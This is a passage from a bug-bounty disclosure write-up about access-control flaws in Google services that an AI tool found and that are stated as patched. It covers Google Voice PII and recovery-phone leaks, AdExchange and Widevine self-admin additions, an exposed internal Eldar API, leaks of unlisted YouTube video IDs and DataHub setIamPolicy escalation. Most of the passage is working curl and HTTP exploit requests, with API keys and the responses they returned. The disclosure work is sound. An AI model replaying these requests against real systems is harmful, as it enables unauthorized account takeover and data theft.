up finding **$500,000** in bugs in less than 3 months of running. There are far too many bugs to cover here, but here are some of the coolest bugs it found (that are fixed).\n\n[#](#google-voice-ato)Google Voice ATO\n\nThere were no access control checks at all on `gfibervoice-pa.googleapis.com`\n\n, which seemed to contain admin management endpoints for [Google Voice](https://workspace.google.com/products/voice/) and [Google Fiber](https://fiber.google.com/).\n\nWith just a one line `curl`\n\ncommand (you didn't even need authentication):\n\n```\ncurl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=786575234861' \\\n -X GET \\\n -H 'X-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE'\n```\n\nReplacing\n\n`gaiaId`\n\nwith your victim'sunobfuscated Gaia ID\n\nIf they had a Google voice number tied to their Google account, it would dump all of their PII:\n\n```\n{\n \"voiceAccountInfo\": {\n \"voiceSettings\": {\n ...\n \"did\": \"+\",\n \"notificationAddress\": \"@gmail.com\",\n \"voicemailPin\": \"\",\n \"doNotDisturb\": false,\n \"groupRingType\": \"GROUP_RING_TYPE_UNKNOWN\",\n \"weekdayRingSchedule\": {\n \"scheduleType\": \"ALWAYS_RING\"\n },\n \"weekendRingSchedule\": {\n \"scheduleType\": \"ALWAYS_RING\"\n },\n \"forwardingPhone\": [\n {\n \"id\": 33,\n \"phoneNumber\": \"+\",\n \"verified\": false\n },\n {\n \"id\": 52,\n \"phoneNumber\": \"sip:@voice.sip.google.com\",\n \"verified\": true\n },\n ...\n ],\n \"timezone\": \"America/Chicago\",\n \"callScreening\": \"SCREENING_ASK_UNKNOWN_FOR_NAME\"\n },\n ...\n }\n}\n```\n\nFrom this API response, we could see the victim's Google Voice number as well as their **Google Account recovery phone number**!\n\nThe API also conveniently provided an API endpoint to assign a Google Voice number to any target Google account (even if they never used Voice before):\n\n```\ncurl 'https://gfibervoice-pa.googleapis.com/v1/AssignNumber' \\\n -X POST \\\n -H 'Content-Type: application/json' \\\n -H 'X-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE' \\\n --data-raw '{\"gaiaId\":\"1072004820935\",\"accountId\":\"1\",\"number\":\"+16503837639\"}'\n```\n\nAccount ID wasn't validated, it could be anything.\n\nThe API would return:\n\n```\n{\n \"error\": {\n \"code\": 500,\n \"message\": \"Internal error encountered.\",\n \"status\": \"INTERNAL\"\n }\n}\n```\n\nBut that didn't matter, the number was still added. The number even showed up on the victim's Google account phones under [https://myaccount.google.com/phone](https://myaccount.google.com/phone)\n\nIf you then fetched the victim's profile again:\n\n```\n{\n \"voiceAccountInfo\": {\n \"voiceSettings\": {\n \"did\": \"+16503837639\",\n \"emailForVoicemailNotification\": true,\n \"notificationAddress\": \"meowing@gmail.com\",\n \"voicemailPin\": \"\",\n ...\n \"forwardingPhone\": [\n {\n \"id\": 1,\n \"phoneNumber\": \"\",\n \"verified\": true\n },\n ...\n ],\n \"timezone\": \"America/Los_Angeles\",\n \"callScreening\": \"SCREENING_ASK_UNKNOWN_FOR_NAME\"\n },\n ...\n }\n}\n```\n\nThe victim's Google account recovery phone number would be visible. Upon checking with Google, there seemed to be certain specific conditions for it to show the recovery phone number here, it wasn't for every single Google account, although Google declined to provide the exact conditions.\n\nFor transferring existing Google voice numbers, it's a bit more complicated. You need to assign two new numbers to the Voice victim with the target number, and after some time the original voice number would \"expire\", and you could then assign this to your attack account. This was needed as otherwise it would return some strange error.\n\nInterestingly, there were several other suspicious endpoints on this API that I wasn't able to test due to my lack of a Google Fiber account, that might have allowed for [conducting SIM swap attacks](https://en.wikipedia.org/wiki/SIM_swap_attack):\n\n```\nPOST /v1/InitiateNumberPort HTTP/2\nHost: gfibervoice-pa.googleapis.com\nX-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE\nContent-Type: application/json\n\n{\n // Billing telephone number (BTN) - primary key on user's account with the losing provider.\n // There should always be one BTN. Required.\n \"billingTelephoneNumber\": \"\",\n\n // Required.\n \"fiberAccountId\": \"\",\n\n // GAIA ID for the Google Voice account the ported number will be added to.\n // Must be associated with the specified fiber account but does not need to be the primary user's. Required.\n \"gaiaId\": \"\",\n\n // Internal ID for a port. Must be set if the port is being initialized.\n \"internalNpoOrderId\": \"\",\n\n \"loaAuthorizingPerson\": \"\",\n \"losingCarrierAccountNumber\": \"\",\n \"losingCarrierPin\": \"\",\n\n // Numbers to be ported. If one of these is the BTN, then ALL numbers from the losing carrier must be ported.\n \"portTelephoneNumber\": [\"\"],\n\n \"requestedFocDateMs\": \"\",\n\n // Subscriber for the number port request.\n // If subscriberType == RESIDENTIAL_SUBSCRIBER:\n // - firstName and lastName MUST be non-empty\n // - businessName MUST NOT be set (or FDS will reject)\n // If subscriberType == BUSINESS_SUBSCRIBER:\n // - businessName MUST be non-empty\n // - firstName and lastName MAY contain the primary contact person\n \"subscriber\": {\n \"businessName\": \"\",\n \"firstName\": \"\",\n \"lastName\": \"\",\n\n // Physical street address. May be omitted by certain read-only operations.\n \"serviceAddress\": {\n // Required\n \"city\": \"\",\n // Required\n \"state\": \"\",\n // Required for add/update\n \"streetAddress\": \"\",\n \"unitNumber\": \"\",\n // Required\n \"zipcode\": \"\"\n },\n \"subscriberType\": \"UNKNOWN_SUBSCRIBER_TYPE\"\n }\n}\n```\n\nThis bug was marked **P0/S0**, patched within a few hours and was awarded **$20,000** under: *Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is \"bypass of significant security controls\", PII or other confidential information.*\n\nShortly after being patched, I happened to notice that the endpoint started returning a strange error:\n\n```\nGET /v1/CheckNumberPortStatus HTTP/2\nHost: gfibervoice-pa.googleapis.com\nX-Goog-Api-Key: AIzaSyBFEIaAndFpMDyNGq2g54RJYt_GFZdcRHE\n```\n\nResponse:\n\n```\nHTTP/2 404 Not Found\nContent-Type: text/plain; charset=utf-8\nDate: Sat, 24 Jan 2026 08:45:16 GMT\nAlt-Svc: h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000\n\nNot found: '/v1/CheckNumberPortStatus'\n```\n\nIt looked a lot like an [Envoy proxy](https://www.envoyproxy.io/) error, which I hadn't seen before on a *.googleapis.com. I shared this with Michael, who happened to notice that the URL [https://gfibervoice-pa.googleapis.com](https://gfibervoice-pa.googleapis.com) started redirecting to /statusz (which was a 404 page). He then ran [ffuf](https://github.com/ffuf/ffuf) with suffix \"z\" on the domain, uncovering several more paths:\n\n```\nappsframeworkz\nbouncerz\nbpfz\nbtz\nbugz\ncacheserverz\ncdpushz\ncensusz\nchoicez\ncodez\n...\n```\n\nMost of these were blocked off with 403. However, `/btz`\n\nseemed to return status 200:\n\nThis is what's known as a **zhandler**. These are only supposed to be accessible from within Google's intranet. In this case it wasn't too useful, but it tends to leak debug information from [borg](https://research.google/pubs/large-scale-cluster-management-at-google-with-borg/).\n\nIf you're able to reach `/flagz`\n\n(from an exposed zhandler, or *from an exposed intranet Wi-Fi hotspot during bugSWAT...*), you can actually find API keys by pulling the `.class`\n\nfiles of running services.\n\n[#](#adexchange-ato)AdExchange ATO\n\n[AdExchange](https://admanager.google.com) is Google's ad management platform allowing publishers (websites, apps, etc.) to sell advertising space. Initially, the AI found this very interesting endpoint that seemed to dump a list of all AdExchange accounts with a single request:\n\n```\nGET /v1internal/cookieMatchingAccounts HTTP/2\nHost: adexchangebuyer.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://ads.google.com\nX-Goog-Api-Key: AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE\n```\n\nResponse:\n\n```\n{\n \"cookieMatchingAccounts\": [\n {\n \"accountId\": \"\",\n \"cookieEncryptionType\": \"ID_ONLY\",\n \"forwardHostedMatchEnabled\": true,\n \"gdprContractState\": \"HAS_SIGNED_GDPR_CONTRACT\",\n \"pushCookieState\": \"INACTIVE\",\n \"externalCookieMatchingSettings\": {\n \"displayName\": \"\",\n \"cookieMatchingState\": \"INACTIVE\",\n \"cookieMatchingNid\": \"\"\n }\n },\n ...\n {\n \"accountId\": \"\",\n \"cookieEncryptionType\": \"ID_ONLY\",\n \"forwardHostedMatchEnabled\": true,\n \"gdprContractState\": \"HAS_SIGNED_GDPR_CONTRACT\",\n \"pushCookieState\": \"INACTIVE\",\n \"externalCookieMatchingSettings\": {\n \"displayName\": \"\",\n \"cookieMatchingState\": \"INACTIVE\",\n \"cookieMatchingNid\": \"\"\n }\n },\n ...\n ]\n}\n```\n\nThe interesting thing about this API is that it's [actually public](https://developers.google.com/authorized-buyers/apis/reference/rest), however this endpoint was behind a visibility label that only `google.com:ad-exchange-buyer-fe`\n\nhad access to.\n\nAt first, I couldn't get much past here, since all the other interesting account related endpoints seemed to return `PERMISSION_DENIED`\n\n, but that changed when the AI reported this finding:\n\n**Request**\n\n```\nGET /v1internal/buyers/8442597967 HTTP/2\nHost: test-adexchangebuyer-googleapis.sandbox.google.com\nCookie: \nAuthorization: \nOrigin: https://ads.google.com\nX-Goog-Api-Key: AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE\nContent-Length: 119\n```\n\n**Response**\n\n```\n{\n \"accountId\": \"8442597967\",\n \"externalBuyerSettings\": {\n \"accountName\": \"LiveRamp 45885\",\n \"contactEmails\": [\n \"█████████@google.com\",\n \"██████████@google.com\",\n \"████████@google.com\",\n \"AccountDataTest@google.com\",\n \"AccountDataTest2@google.com\",\n \"AccountDataTest3@google.com\",\n \"AccountDataTest4@google.com\",\n \"AccountDataTest5@google.com\"\n ],\n \"currencyCode\": \"USD\",\n \"displayName\": \"LiveRamp 45885\",\n \"legacyAlertState\": \"UNSUPPORTED\",\n \"state\": \"STATE_ACTIVE\",\n \"timezoneId\": \"America/Los_Angeles\"\n },\n \"stateInfo\": {\n \"comment\": \"Buyer creation.\",\n \"stateLastUpdateTime\": \"2024-07-24T20:22:29.478913Z\"\n }\n}\n```\n\nAll the account related endpoints that were blocked on production with `PERMISSION_DENIED`\n\nwere working here with no access controls!\n\nAt first, I assumed only the staging environment was affected given the hostname `test-adexchangebuyer-googleapis.sandbox.google.com`\n\n. However, when I tested a known test account ID I leaked earlier from production, it actually worked:\n\n**Request**\n\n```\nGET /v1internal/buyers/6558940734/users HTTP/2\nHost: test-adexchangebuyer-googleapis.sandbox.google.com\nCookie: \nAuthorization: \nOrigin: https://ads.google.com\nX-Goog-Api-Key: AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE\nContent-Length: 119\n```\n\n**Response**\n\n```\n{\n \"buyerUsers\": [\n {\n \"accountId\": \"6558940734\",\n \"emailAddress\": \"██████@google.com\",\n \"role\": \"ADMIN\",\n \"status\": \"ACTIVE\",\n \"userId\": \"4604346\"\n },\n {\n \"accountId\": \"6558940734\",\n \"emailAddress\": \"temp-drx-buyside-test-sa@mts-test-project.iam.gserviceaccount.com\",\n \"isRobotAccount\": true,\n \"role\": \"SERVICE_ACCOUNT\",\n \"status\": \"ACTIVE\",\n \"userId\": \"4618737\"\n },\n {\n \"accountId\": \"6558940734\",\n \"emailAddress\": \"█████████████@gmail.com\",\n \"role\": \"ADMIN\",\n \"status\": \"ACTIVE\",\n \"userId\": \"4639432\"\n },\n ...\n ]\n}\n```\n\nAs it turns out, even though these endpoints were blocked on prod, the staging environment (`test-adexchangebuyer-googleapis.sandbox.google.com`\n\n) was actually pointing to production data!\n\nIt was seemingly possible to even add myself to any AdExchange account:\n\n**Request**\n\n```\nPOST /v1internal/buyers/6558940734/users HTTP/2\nHost: test-adexchangebuyer-googleapis.sandbox.google.com\nCookie: \nAuthorization: \nOrigin: https://ads.google.com\nX-Goog-Api-Key: AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE\nContent-Length: 119\n\n{\n \"emailAddress\": \"gvrptest2@gmail.com\",\n \"accountId\": \"6558940734\",\n \"status\": \"PENDING\",\n \"role\": \"ADMIN\"\n}\n```\n\n**Response**\n\n```\n{\n \"accountId\": \"6558940734\",\n \"userId\": \"36825\",\n \"emailAddress\": \"gvrptest2@gmail.com\",\n \"role\": \"ADMIN\",\n \"status\": \"PENDING\"\n}\n```\n\nHowever, I wasn't whitelisted for the UI ([admanager.google.com](https://admanager.google.com)) so I wasn't able to access the actual application frontend. I reported two separate issues for this API, and it was awarded a total of **$30,000**.\n\n[#](#eldar-corp-google-com)eldar.corp.google.com\n\n[Eldar](https://eldar.corp.google.com) seems to be an internal Googler-only website used for managing internal privacy requests/assessments. While the frontend itself is protected behind [ÜberProxy](https://www.usenix.org/system/files/login/articles/login_winter16_05_cittadini.pdf) since it's on `*.corp.google.com`\n\n, the API itself was exposed publicly on `eldar-pa.clients6.google.com`\n\n, allowing non-Googlers to query anything they want.\n\nThis was especially interesting due to the nature of information on Eldar. For instance, you could see requests for access to internal Google logs:\n\n**Request**\n\n```\nGET /v1/assessments/19286785/revisions/1 HTTP/2\nHost: eldar-pa.clients6.google.com\nCookie: \nAuthorization: \nX-Goog-Api-Key: AIzaSyAIUYFTL6-LoTXYNZqtio1JKXLEbIvCnVs\nOrigin: https://www.google.com\n```\n\n**Response**\n\n```\nHTTP/2 200 OK\nContent-Type: application/json; charset=UTF-8\n\n{\n \"name\": \"assessments/19286785/revisions/1\",\n \"lastUpdatedTimestamp\": \"2024-10-08T08:14:13.915893Z\",\n \"sections\": [\n {\n \"name\": \"assessments/19286785/revisions/1/sections/1000001001\",\n \"title\": \"Logs Access Request\",\n \"info\": \"Fill this assessment to request access to \\u003ca href=\\\"http://go/sawmill-team\\\" target=\\\"_blank\\\"\\u003eSawmill logs\\u003c/a\\u003e. Once submitted for review, a \\u003ca href=\\\"http://go/la-federation\\\" target=\\\"_blank\\\"\\u003edelegate reviewer\\u003c/a\\u003e will review your request for compliance with Google's data and privacy policies. See \\u003ca href=\\\"http://go/logs-access\\\"target=\\\"_blank\\\" aria-label=\\\"Logs Access in Eldar user guide\\\"\\u003ego/logs-access\\u003c/a\\u003e for documentation.\",\n \"questions\": [\n ...\n \"responses\": [\n \"Cloud Support wants to run a number of pre-defined query on Cloud Domains Logs: request log and Cloud Domains <-> Squarespace communication log.\\u003cdiv\\u003e\\u003cbr\\u003e\\u003c/div\\u003e\\u003cdiv\\u003eThis way they can quicker troubleshoot customer issues, especially those related to updating domain settings: DNSSEC, DNS, autorenewal.\\u003c/div\\u003e\"\n ]\n }\n },\n ...\n ]\n```\n\nThe entire JSON was quite large, this looked like an internal logs access request within Google. I don't have access to the actual UI (since the assets are all hosted on eldar.corp.google.com), but I built this small UI for viewing all the JSON returned from the assessment:\n\nThis UI is a recreation of what Eldar\n\nprobablylooks like (based off other css/html that I could find). The data itself is from a real assessment, but with many redactions to protect PII.\n\nIt was also possible to create and share your own assessments. I originally found out that the AI found this bug from the many emails I received from Eldar ([eldar-noreply+accessrequest@google.com](mailto:eldar-noreply+accessrequest@google.com))\n\nThey initially fixed this bug by blocking `eldar-pa.clients6.google.com`\n\nfrom being publicly accessible (I assume they moved it to a *.corp.googleapis.com address behind [ÜberProxy](https://www.usenix.org/system/files/login/articles/login_winter16_05_cittadini.pdf)), but it was still possible to reach this API via `autopush-eldar-pa-googleapis.sandbox.google.com`\n\n, which I informed them about.\n\nSomething interesting I learned from speaking to some Googlers - it seems that Eldar is where the product teams define security boundaries for applications in terms of what's intentional and what's not.\n\nThis bug was awarded a total of **$26,674** under: *Normal Google Applications. Vulnerability category is \"bypass of significant security controls\", PII or other confidential information.* x2\n\n[#](#leaking-youtube-unlisted-videos)Leaking YouTube unlisted videos\n\nIf you read [my previous blog post](/articles/youtube-creator-emails) about a bug I found disclosing YouTube creator email addresses, I covered how YouTube Partners had a hidden `CONTENT_OWNER_TYPE_IVP`\n\n(aka \"torso\") Content Manager account tied to them. As it turns out, whenever creators uploaded videos to their channel, it would create assets for these videos.\n\nTaking from the [Content ID API docs](https://developers.google.com/youtube/partner/reference/rest/v1/assets#Asset), *an asset resource represents a piece of intellectual property, such as a sound recording or television episode.*:\n\n```\n{\n \"kind\": \"youtubePartner#assetSnippet\",\n \"id\": \"A211451325656589\",\n \"type\": \"web\",\n \"title\": \"Really cool song\",\n \"timeCreated\": \"2025-10-30T01:40:01.000Z\"\n}\n```\n\nFor whatever reason, not only were assets created for unlisted videos uploaded, but the asset names of the WEB assets leak the video IDs of the videos uploaded, in the format of `Auto generated asset - `\n\n. As a result, by searching for Content ID assets for \"Auto generated asset - \", it's possible to leak youtube creator unlisted video IDs, which can be put in the format of `https://www.youtube.com/watch?v=`\n\nURL to watch the unlisted video.\n\nWe can use Google's API explorer for this directly, by visiting [this URL](https://developers.google.com/youtube/partner/reference/rest/v1/assetSearch/list?apix_params=%7B%22createdAfter%22%3A%222025-10-29T08%3A39%3A00Z%22%2C%22createdBefore%22%3A%222025-10-29T10%3A39%3A00Z%22%2C%22ownershipRestriction%22%3A%22NONE%22%2C%22q%22%3A%22Auto%20generated%20asset%20-%20%22%2C%22sort%22%3A%22TIME%22%7D) in Content ID API and clicking \"Execute\". It would leak all video IDs of videos uploaded from channels in YouTube Partner Program between 2025-10-29T08:39:00Z and 2025-10-29T10:39:00Z, including unlisted and private video IDs.\n\n```\n{\n \"kind\": \"youtubePartner#assetSnippetList\",\n \"nextPageToken\": \"...\",\n \"pageInfo\": {\n \"totalResults\": 2000\n },\n \"items\": [\n {\n \"kind\": \"youtubePartner#assetSnippet\",\n \"id\": \"A211451325656589\",\n \"type\": \"web\",\n \"title\": \"Auto generated asset - \",\n \"timeCreated\": \"2025-10-29T08:40:01.000Z\"\n },\n {\n \"kind\": \"youtubePartner#assetSnippet\",\n \"id\": \"A997928538227273\",\n \"type\": \"web\",\n \"title\": \"Auto generated asset - \",\n \"timeCreated\": \"2025-10-29T08:40:01.000Z\"\n },\n {\n \"kind\": \"youtubePartner#assetSnippet\",\n \"id\": \"A475726124117220\",\n \"type\": \"web\",\n \"title\": \"Auto generated asset - \",\n \"timeCreated\": \"2025-10-29T08:40:01.000Z\"\n },\n ...\n ]\n}\n```\n\nThis attack is extremely practical in the real world. Anyone could send a request every 30 seconds or so to get a live feed of every single partner-uploaded unlisted video. Why does this matter? Prediction markets like [Polymarket](https://polymarket.com) let people bet on the outcome of future events, including things like when Google's [next Gemini model will be released](https://x.com/sundarpichai/status/1989481514393121239).\n\nCompanies often upload product announcement videos as unlisted first for internal testing before the actual public release. Someone abusing this vulnerability could watch for these pre-announcement uploads and place bets with insider knowledge, essentially turning a bug into a money printer.\n\nThis was awarded **$12,000** under *This report was of exceptional quality! Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is \"bypass of significant security controls\", other data/systems.*\n\n[#](#widevine-ato)Widevine ATO\n\nWidevine is a Digital Rights Management (DRM) technology developed by Widevine Technologies and acquired by Google in 2010. It is one of the most widely deployed DRM systems in the world, used by companies like Disney or Netflix to protect premium video content from being copied or pirated.\n\nGoogle provides these partners with access to a [management portal](https://partnerdash.google.com/apps/widevineintegrationconsole) to manage their Widevine keys. Normally, these Partner Dash apps are usually completely blocked off publicly, but strangely this one in particular was publicly accessible with a Google account, albeit you couldn't actually manage any other profile.\n\nThe AI disagreed - as it turns out, while the frontend didn't seem like much, the API itself told another story. By sending the following request:\n\n**Request**\n\n```\nGET /v1/orgs?orgIdentifier.actor.actorType=DRM_SERVICE&orgIdentifier.orgType=CONTENT_OWNER HTTP/2\nHost: alkaliwidevineintegrationconsole-pa.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://business.google.com\nX-Goog-Api-Key: AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0\n```\n\n**Response**\n\n```\n{\n \"lowercaseOrganizationName\": [\n \"000ztemptest000\",\n \"000ztemptest001\",\n \"000ztemptest002\",\n \"00ztest00\",\n \"20sec\",\n \"20secifb\",\n \"20seckbb\",\n \"3dweb\",\n \"a3sa\",\n \"aavmobile\",\n \"abox42\",\n \"accenture\",\n \"accenturedt\",\n \"accentureinfinity\",\n \"accenturekarate\",\n ...\n ]\n}\n```\n\nIt dumped all the organizations that had an account on their Widevine portal. You could even view all their Widevine keys:\n\n**Request**\n\n```\nGET /v1/orgs/000ztemptest000?orgIdentifier.actor.actorType=DRM_SERVICE&orgIdentifier.orgType=CONTENT_PROVIDER HTTP/2\nHost: alkaliwidevineintegrationconsole-pa.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://appdistribution.firebase.google.com\nX-Goog-Api-Key: AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0\n```\n\nThis was a test user I identified from the previous request.\n\n**Response**\n\n```\n{\n \"name\": \"000zTempTest000\",\n \"widevineOrganizationId\": \"123\",\n \"flags\": \"2048066\",\n \"pgpEncryptionKey\": \"-----BEGIN PGP PUBLIC KEY BLOCK-----\\n\\nmQENBF9cD5IBCADOZqd1AeEjQ5Wi8DkdoN7nkNSTeAbgv9rig3K0gyC+O1jNyAGE\\no0RklD6uV5l/+dfbXf3kZaZkptTcyZP...\",\n \"enableExpiringSigningKeys\": true,\n \"encryptedExpiringSigningKeys\": [\n {\n \"aesIv\": \"ALSnBDw2PHpdRxNQ0aefDaHXdma5jx/EI7MT4JAUhjth+Q983gzJowHJ2JD+h7gsg7SLKnGjRFaMu9gCHU2bFJT5AfuD6tfBPg==\",\n \"aesKey\": \"ALSnBDwuni4Q+KQOSOL1U4zs/6809AKnyTJD/nSu04ghIwtdQKx5oRGqqkWQyKFTu3WZpXbHNlDhbJSoDj1OG0ScDa7ZIVSNAsHKWNGhAP5cuVgqZlTgNvc=\",\n \"startDateEpochTimeSeconds\": \"1578177687\",\n \"endDateEpochTimeSeconds\": \"1578004888\"\n },\n ...\n```\n\nThe API even provided a nice request you could use to decode the AES key:\n\n```\nPOST /v1/orgs/000zTempTest000/decodeAesKey HTTP/2\nHost: alkaliwidevineintegrationconsole-pa.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://appdistribution.firebase.google.com\nX-Goog-Api-Key: AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0\nContent-Type: application/json\nContent-Length: 250\n\n{\n \"iv\": \"ALSnBDw2PHpdRxNQ0aefDaHXdma5jx/EI7MT4JAUhjth+Q983gzJowHJ2JD+h7gsg7SLKnGjRFaMu9gCHU2bFJT5AfuD6tfBPg==\",\n \"key\": \"ALSnBDwuni4Q+KQOSOL1U4zs/6809AKnyTJD/nSu04ghIwtdQKx5oRGqqkWQyKFTu3WZpXbHNlDhbJSoDj1OG0ScDa7ZIVSNAsHKWNGhAP5cuVgqZlTgNvc=\"\n}\n```\n\n**Response:**\n\n```\n{\n \"hexAesKey\": \"dd7be18702bd535ed20e7db546aa3830c9bc2e51305b6f8d79d15aca87fb834e\",\n \"hexAesIv\": \"292cf4683a43802ad6dfd699f4ca9a5d\"\n}\n```\n\nIt didn't end there, you could list the users of any Widevine organization:\n\n```\nPOST /v1/userInfo/listUserInfo HTTP/2\nHost: alkaliwidevineintegrationconsole-pa.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://business.google.com\nX-Goog-Api-Key: AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0\nContent-Type: application/json\nContent-Length: 77\n\n{\n \"orgInfo\": {\n \"orgType\": \"DEVICE\",\n \"organization\":\"google\"\n }\n}\n```\n\nI chose the organization\n\nResponse:\n\n```\n{\n \"users\": [\n ...\n {\n \"email\": \"██████@google.com\",\n \"deviceManufacturerGroup\": [\n \"google\"\n ],\n \"gaiaId\": \"651804021137\"\n },\n ...\n ]\n}\n```\n\n... or just add yourself to any organization you want:\n\n**Request**\n\n```\nPOST /v1/userInfo/addUser HTTP/2\nHost: alkaliwidevineintegrationconsole-pa.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://business.google.com\nX-Goog-Api-Key: AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0\nContent-Type: application/json\nContent-Length: 116\n\n{\n \"email\": \"gvrptest2@gmail.com\",\n \"orgInfo\": {\n \"orgType\": \"DEVICE\",\n \"organization\": \"google\"\n }\n}\n```\n\n**Response**\n\n```\nHTTP/2 200 OK\nContent-Type: application/json; charset=UTF-8\n\n{}\n```\n\nIf you now visit [https://partnerdash.google.com/apps/widevineintegrationconsole/deviceSeries](https://partnerdash.google.com/apps/widevineintegrationconsole/deviceSeries), you can start managing devices for the org. This is a screenshot I took of what it looked like:\n\nThis was awarded **$16,004.40** under *This report was of exceptional quality! Normal Google Applications. Vulnerability category is \"bypass of significant security controls\", PII or other confidential information.*\n\n[#](#plx-corp-google-com)plx.corp.google.com\n\nPLX tables is Google's internal data analytics and dashboarding platform, used exclusively by Google employees. You can see it listed in the [xg2xg repo](https://github.com/jhuangtw/xg2xg). Many Google services integrate with this for data analytics, notably YouTube.\n\nThe AI initially found this interesting endpoint in the internal DataHub API:\n\n```\nGET /v2/entries:suggest?query=PeopleView_Lifecycle&enableAllResults=true&enableDebug=true HTTP/2\nHost: datahub.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://console.cloud.google.com\nX-Goog-Api-Key: AIzaSyAqrh2LhFgs8rDf0zUFkFeQkPwJBPLPAwE\nContent-Type: application/json\nContent-Length: 0\n```\n\nResponse:\n\n```\n{\n \"results\": [\n {\n \"entry\": {\n \"type\": \"TABLE\",\n \"id\": {\n \"datasetId\": {\n \"projectId\": \"google\",\n \"datasetLocalId\": \"PeopleView_Lifecycle\"\n },\n \"entryLocalId\": \"Persons.Basic\"\n }\n },\n \"id\": \"projects/google/datasets/PeopleView_Lifecycle/entries/Persons.Basic\",\n \"name\": \"PeopleView_Lifecycle.Persons.Basic\",\n \"description\": \"**Data is [Need-To-Know Employee Data](https://goto.google.com/workforce-data-standard#need-to-know-workforce-data) based on Google’s Security and Privacy policies and should only be used for a legitimate business purpose in accordance with the [Employee Privacy Policy](https://support.google.com/mygoogle/answer/9011840).**\\n\\nThis table contains information about currently active Alphabeters and TVCs. Current persons records where `worker_status = 'Active'`. One row per `person_id`. The data is sourced daily from Workday. Data should generally match Workday/HR API but may not reconcile due to timing differences. Here, the data are flattened, transformed, and pre-joined here to make it easier to query. Read the [documentation](https://g3doc.corp.google.com/company/teams/peopleview/tables/lifecycle/persons.md) for more information.\\n\\nExplore on a dashboard: [go/Persons](https://goto.google.com/persons).\\n\\n\\u003chr \\\\\\u003e\\n\\nThis table is part of PeopleView. See [go/PVTables](https://goto.google.com/pvtables) for more information.\\n\\nNOTE: PeopleView is designed as an ad hoc analytical tool and is not meant to be a data source for production apps. If you need this type of data outside an ad-hoc capacity, consider querying the relevant APIs directly.\\n\\n* For individual access, request [this DSF role](https://dsf.corp.google.com/roles?query=Basic%20person%20and%20common%20data) in Sphinx.\\n* For MDB account access, see go/pv-borg-role-access and make sure to include the step 5 information requested and the step 6 acknowledgement in your DSF request.\\n\\nJoin [go/pv-announce](https://goto.google.com/pv-announce) groups for updates about this and other PeopleView tables.\\n\",\n \"debugInfo\": {\n \"distinctUserCount\": \"1279\"\n },\n \"contextualInfo\": {\n \"frequentlyJoinedTables\": [\n \"pothagunta.phub_data_dump_new\",\n \"ramandeepm.pitch_proposal_deal_value_newtable\",\n \"ramandeepm.AHT_data_case_log\",\n \"ramandeepm.solution_data\",\n \"glo_insights_admin.Order_OTIF_Extract\",\n \"buganizer.issuestatsfresh\",\n \"buganizer.issuehistories\",\n \"baeminbo.dev.bug_reporter\",\n \"baeminbo.bug_reporter\",\n \"teamgraph.Teams\"\n ]\n }\n },\n ...\n ]\n}\n```\n\nAlthough all the other endpoints to actually fetch the table information was locked behind `PERMISSION_DENIED`\n\n, this endpoint for suggesting tables seemed to be completely exposed.\n\nNot long after, the AI discovered that you could just use `setIamPolicy`\n\nto add yourself as an admin for the whole dataset on the staging API:\n\n**Request**\n\n```\nPOST /v2/projects/google/datasets/ytdata:setIamPolicy HTTP/2\nHost: staging-datahub-googleapis.sandbox.google.com\nCookie: \nAuthorization: \nOrigin: https://console.cloud.google.com\nX-Goog-Api-Key: AIzaSyAqrh2LhFgs8rDf0zUFkFeQkPwJBPLPAwE\nContent-Type: application/json\n\n{\n \"policy\": {\n \"bindings\": [\n {\n \"members\": [\n \"user:grptest2@gmail.com\"\n ],\n \"role\": \"roles/datahub.owner\"\n }\n ]\n }\n}\n```\n\n**Response** (200)\n\n```\n{\n \"version\": 1,\n \"etag\": \"BwZMk+xmxsQ=\",\n \"bindings\": [\n {\n \"role\": \"roles/datahub.owner\",\n \"members\": [\n \"user:gvrptest2@gmail.com\"\n ]\n }\n ]\n}\n```\n\nYou could now dump all the dataset entries:\n\n```\nGET /v2/projects/google/datasets/ytdata/entries?pageSize=100 HTTP/2\nHost: staging-datahub-googleapis.sandbox.google.com\nCookie: \nAuthorization: \nOrigin: https://console.cloud.google.com\nX-Goog-Api-Key: AIzaSyAqrh2LhFgs8rDf0zUFkFeQkPwJBPLPAwE\n```\n\nThis response was **massive** (several GB) and was filled with tons of confidential YouTube information.\n\nAs a short peek into this data, this is what the `plx://ytdata.cd_adsense_params`\n\ntable looked like:\n\n```\nGET /v2/projects/google/datasets/ytdata/entries/cd_adsense_params HTTP/2\nHost: staging-datahub-googleapis.sandbox.google.com\n```\n\nResponse:\n\n```\n{\n ...\n \"structValue\": {\n \"fields\": {\n \"update_time_usec\": {\n \"datetimeValue\": \"1970-01-01T00:00:00Z\"\n },\n \"query\": {\n \"stringValue\": \"(WITH\\n AP AS (\\n SELECT\\n *\\n FROM\\n ytdata.cd_adsense_params\\n WHERE\\n scd2.end_time_usec IS NULL\\n ),\\n ChannelInLowerTier AS (\\n SELECT\\n external_channel_id\\n FROM\\n arcata.d_channel_entities\\n WHERE\\n feature_data.channel_monetization_root_data.ypp_tier_data.ypp_tier = 'YPP_TIER_LOWER' AND 